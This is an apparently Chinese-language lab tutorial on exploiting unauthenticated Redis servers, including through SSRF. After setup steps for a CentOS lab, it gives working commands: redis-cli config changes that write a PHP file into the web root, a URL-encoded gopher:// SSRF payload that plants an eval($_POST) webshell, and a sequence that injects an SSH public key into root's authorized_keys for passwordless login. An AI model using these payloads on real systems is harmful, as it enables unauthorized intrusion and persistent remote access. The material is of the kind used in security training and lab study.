redis 和 ssrf 经常绑定
redis 端口 6379
redis 在内网常见
由于服务安装启动的时候默认不需要账户名密码认证,并且默认可以直接向服务器写入文件,也不需要进行额外的配置,这种情况下会造成任意文件的写入,此时攻击者可以向 web 目录下写一句话木马,也可以写入 ssh 公钥
windows 下载 git 终端,生成公钥和私钥
利用:
查看网卡
ip a
编辑该网卡的配置文件
cd /etc/sysconfig/network-scripts/
vim ifcfg-ens33
自动分配 ip
重启网卡
systemctl restart network
进入 yum 源目录
cd /etc/yum.repos.d
删除官方源
mkdir bak
mv * bak
下载并补充 yum 源
wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo
yum install -y http://rpms.famillecollet.com/enterprise/remi-release-7.rpm
下载 redis
yum install redis* -y
启动 redis
redis-server
模拟创建 web 根目录
mkdir -p /var/www/html
启动 redis 客户端(另起一个终端)
redis-cli
模拟写入 php 语句
# 清空数据
flushall
# 定向哪个目录写文件
config set dir /var/www/html
# 指定数据库文件名
config set dbfilename shell.php
# 文件内容
set 'webshell' '<?php phpinfo();?>'
save
quit
无需任何认证即可操作 redis 数据库,并且默认情况下就可以有对文件的写入操作
curl -v gopher://127.0.0.1:6379/_set%201%20%22%3C%3Fphp%20eval(%24_POST%5B1%5D)%3B%20%3F%3E%22%20%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml%2F%20%0Aconfig%20set%20dbfilename%20shell.php%20%0Asave%0A
windows 安装 git,一直点下一步
链接:https://pan.baidu.com/s/1uc4tGfo8tq7FGdUkE_XMtg?pwd=bgly
提取码:bgly
右键,打开 bash
生成 ssh 密钥
ssh-keygen -t rsa
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCy1As7bNAVZ0sdMUIK3R39XniwybqW0RWOugkbikk3584i+8QxoBtgV2GZPX2D2tMpQzkQrav0oQlZrPBnQNLb6UqmvoU+2j0wkxitqFNioy2cqfe2dmk4vMzLVoRVAVKrLNW5lvj88419mWutMIccELu0kIhzirvGCYPvPucEV0mkS1rBCua9k+KKNgulDMBPFpxcedr2vFg8SNL1Y2P87lcJaS0u/uHs5ERjQYLgyPUMC1WKWihRdOOI1LV3zSts6+QN/ly3WfH55MlpKQqOjFWEbIMEKOYtmILEAQfD0v5FFTPTcqZEnQe4C+BY7aPubjBelrCA6/FmBt9qMh1pmSiHL1Db9q8Kuw1Gncp/IWBIcqtsTsPyMx5TOW/EYUdYuhMauwi6CQpBHK3ORlJNZOgI5TeH729/pbuvi/Qj8PyByCyZapx4jCBJzkJSaTJwui1ykZvsmTSUQvZ2wB/iAuIqAi+8GyLQSBoTszQbdu/IbWAgETPSpNLQmFSdJ7M= LEGION@LAPTOP-J130AML3
redis 写入公钥
实战可以使用以下命令
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > 1.txt
cat 1.txt | redis-cli -h 10.9.47.159
手工模拟
cd /root/.ssh
vim authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCy1As7bNAVZ0sdMUIK3R39XniwybqW0RWOugkbikk3584i+8QxoBtgV2GZPX2D2tMpQzkQrav0oQlZrPBnQNLb6UqmvoU+2j0wkxitqFNioy2cqfe2dmk4vMzLVoRVAVKrLNW5lvj88419mWutMIccELu0kIhzirvGCYPvPucEV0mkS1rBCua9k+KKNgulDMBPFpxcedr2vFg8SNL1Y2P87lcJaS0u/uHs5ERjQYLgyPUMC1WKWihRdOOI1LV3zSts6+QN/ly3WfH55MlpKQqOjFWEbIMEKOYtmILEAQfD0v5FFTPTcqZEnQe4C+BY7aPubjBelrCA6/FmBt9qMh1pmSiHL1Db9q8Kuw1Gncp/IWBIcqtsTsPyMx5TOW/EYUdYuhMauwi6CQpBHK3ORlJNZOgI5TeH729/pbuvi/Qj8PyByCyZapx4jCBJzkJSaTJwui1ykZvsmTSUQvZ2wB/iAuIqAi+8GyLQSBoTszQbdu/IbWAgETPSpNLQmFSdJ7M= LEGION@LAPTOP-J130AML3
此时拥有 ssh 私钥的 git 所在及其就可以免密登录 redis 服务器的 22 端口